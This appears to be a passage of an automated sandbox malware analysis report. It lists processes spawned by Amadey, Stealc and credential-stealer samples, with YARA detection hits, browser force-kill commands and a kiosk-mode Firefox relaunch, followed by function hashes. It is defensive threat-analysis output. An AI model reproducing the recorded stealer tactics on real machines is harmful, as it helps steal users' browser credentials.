MD5 hash:	C46787C30A894FB065CAB874CC71194F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000003.1400646569.0000000001030000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:29:31
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe"
Imagebase:	0xce0000
File size:	1'897'984 bytes
MD5 hash:	EA3D2DAC572AFAFDEFFFBB7C04854D36
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.1663554694.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.1707779280.0000000000CE1000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:29:33
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x8c0000
File size:	1'897'984 bytes
MD5 hash:	EA3D2DAC572AFAFDEFFFBB7C04854D36
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.1727985312.00000000008C1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.1687526478.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	04:29:34
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x8c0000
File size:	1'897'984 bytes
MD5 hash:	EA3D2DAC572AFAFDEFFFBB7C04854D36
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000002.1732805446.00000000008C1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000003.1692122509.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:29:49
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe"
Imagebase:	0xba0000
File size:	1'872'384 bytes
MD5 hash:	79AD5F851A1231DB208F005432D0CF1C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000003.1854235695.0000000005570000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.1912431700.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.1906278770.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	04:30:00
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x8c0000
File size:	1'897'984 bytes
MD5 hash:	EA3D2DAC572AFAFDEFFFBB7C04854D36
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000003.1954885956.0000000005170000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	04:30:12
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe"
Imagebase:	0x270000
File size:	2'810'368 bytes
MD5 hash:	34A58F4499119CFF16882D6C48F7C80D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:30:15
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001633001\df757a3a2c.exe"
Imagebase:	0xb10000
File size:	3'008'000 bytes
MD5 hash:	C46787C30A894FB065CAB874CC71194F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2141996499.000000000148F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2204287430.0000000001490000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2199846800.000000000148E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2204391709.0000000001497000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2159769434.000000000148F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2158369974.000000000148F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2182464511.0000000001486000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:30:24
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001634001\ea19c894e7.exe"
Imagebase:	0xf10000
File size:	1'872'384 bytes
MD5 hash:	79AD5F851A1231DB208F005432D0CF1C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000015.00000002.2239265604.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000015.00000002.2240323623.0000000000F11000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000015.00000003.2195926648.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:30:31
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001633001\df757a3a2c.exe"
Imagebase:	0xb10000
File size:	3'008'000 bytes
MD5 hash:	C46787C30A894FB065CAB874CC71194F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2434668067.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2384983215.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2383235771.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2447624560.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2472345101.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2406506448.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2329666073.00000000006EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2327579765.00000000006EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2379633273.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2479064568.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2424073542.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2489778038.00000000006EF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2316268549.00000000006EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2471926524.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2345521129.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2412425564.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2463957807.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2441812633.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2414250147.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2469265249.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	04:30:32
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001635001\582b1c6d88.exe"
Imagebase:	0x620000
File size:	919'040 bytes
MD5 hash:	C2CF161C1BE2170FAE2524B889314DC6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 26%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	04:30:32
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xf30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:30:32
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	04:30:35
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xf30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	04:30:35
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	04:30:35
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xf30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	04:30:35
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	04:30:36
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xf30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	04:30:36
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	04:30:36
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xf30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	04:30:36
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	04:30:36
Start date:	26/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://www.facebook.com/video" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	04:30:36
Start date:	26/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	04:30:36
Start date:	26/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	04:30:37
Start date:	26/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2276 -parentBuildID 20230927232528 -prefsHandle 2188 -prefMapHandle 2224 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eba2c7ab-39bc-45d6-96c8-420a20058b60} 7688 "\\.\pipe\gecko-crash-server-pipe.7688" 1f83036d510 socket
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	04:30:37
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001636001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001636001\num.exe"
Imagebase:	0xaa0000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000028.00000000.2317388418.0000000000AA1000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	04:30:39
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001634001\ea19c894e7.exe"
Imagebase:	0xf10000
File size:	1'872'384 bytes
MD5 hash:	79AD5F851A1231DB208F005432D0CF1C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000029.00000003.2357078140.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	04:30:40
Start date:	26/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3888 -parentBuildID 20230927232528 -prefsHandle 4616 -prefMapHandle 4612 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a3cf177a-5ca3-49d8-bd46-401f0d45638e} 7688 "\\.\pipe\gecko-crash-server-pipe.7688" 1f840db7d10 rdd
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	04:30:44
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe"
Imagebase:	0x170000
File size:	1'897'984 bytes
MD5 hash:	EA3D2DAC572AFAFDEFFFBB7C04854D36
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000002B.00000002.2448606708.0000000000171000.00000040.00000001.01000000.0000001C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000002B.00000003.2406500630.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	04:30:47
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001635001\582b1c6d88.exe"
Imagebase:	0x620000
File size:	919'040 bytes
MD5 hash:	C2CF161C1BE2170FAE2524B889314DC6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	04:30:49
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xf30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	04:30:49
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 050707DB Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1711272296.0000000005070000.00000040.00001000.00020000.00000000.sdmp, Offset: 05070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5070000_K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7d74a5abb953190c6adfd14e6920c229fc626e48d7d5afcfb1d933571b57603
Instruction ID: cbe41a1e04ebe26eae2d1c874c1199aa3ab3b6fe465d9842e4d2ec945a2294b8
Opcode Fuzzy Hash: d7d74a5abb953190c6adfd14e6920c229fc626e48d7d5afcfb1d933571b57603
Instruction Fuzzy Hash: A00171EB94C115BD7181C086BB38ABE272FF5E6770331C56BF487D6602E3984D091AB9

Function 0507082D Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1711272296.0000000005070000.00000040.00001000.00020000.00000000.sdmp, Offset: 05070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5070000_K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40d8c94dca72a4e70c2003d4ee76b2a2d87a9b85825a46204c626e1fe5890894
Instruction ID: d0cff1c030895a4403101705d7517b36743fe44a2151898205d35e00219fb0aa
Opcode Fuzzy Hash: 40d8c94dca72a4e70c2003d4ee76b2a2d87a9b85825a46204c626e1fe5890894
Instruction Fuzzy Hash: 3401C8B7E0C104AEB641D5A1B63CDFE376EE9D27303318A66F486D7102E294494649B4

Function 050707F7 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1711272296.0000000005070000.00000040.00001000.00020000.00000000.sdmp, Offset: 05070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5070000_K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5b0dd68e7da0bf1287884fce264c10adab6eeaf6aac13a61ad07d6f9ffcb8b9
Instruction ID: 35c13f1dabe67a0b0776b267b4c3c8d85b074b2bb6bb40ac8ea140ddb9051e2f
Opcode Fuzzy Hash: c5b0dd68e7da0bf1287884fce264c10adab6eeaf6aac13a61ad07d6f9ffcb8b9
Instruction Fuzzy Hash: E80184FB94C104BE7181C581BB389BE772FF5D2730330C56AF486D7502E29849095AB9

Function 05070814 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1711272296.0000000005070000.00000040.00001000.00020000.00000000.sdmp, Offset: 05070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5070000_K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 643f0c874dd9280be4c007232040cf6cba8ce56a75a5b7accb8737f73c77bde2
Instruction ID: da8950c6a3ed6ff171e85e6b817a1a6924b4542d5fc64f22c8317bc95d31e26b
Opcode Fuzzy Hash: 643f0c874dd9280be4c007232040cf6cba8ce56a75a5b7accb8737f73c77bde2
Instruction Fuzzy Hash: E70186B790C109AD7180C5867B3CABE632EF4E6730331C577F496CB101E2944A0919B9

Function 05070877 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1711272296.0000000005070000.00000040.00001000.00020000.00000000.sdmp, Offset: 05070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5070000_K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f00d857a33f37fe5c20cbe837b6f269c43514e66a056f7d6d311081fbe3fce73
Instruction ID: 402761fbd6260834158488e20110cd2d1ff114116baf21575f01eabd2caf55b9
Opcode Fuzzy Hash: f00d857a33f37fe5c20cbe837b6f269c43514e66a056f7d6d311081fbe3fce73
Instruction Fuzzy Hash: 65F0A4EBA4C019AD3181C181BA689FE272FE4D2B30371C927F4D2CA102E2984D4959B8

Function 05070851 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1711272296.0000000005070000.00000040.00001000.00020000.00000000.sdmp, Offset: 05070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5070000_K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9566592c3fd1791403f61886e9c9ead18bd8d4dcc166e2a904e4ece70d98a869
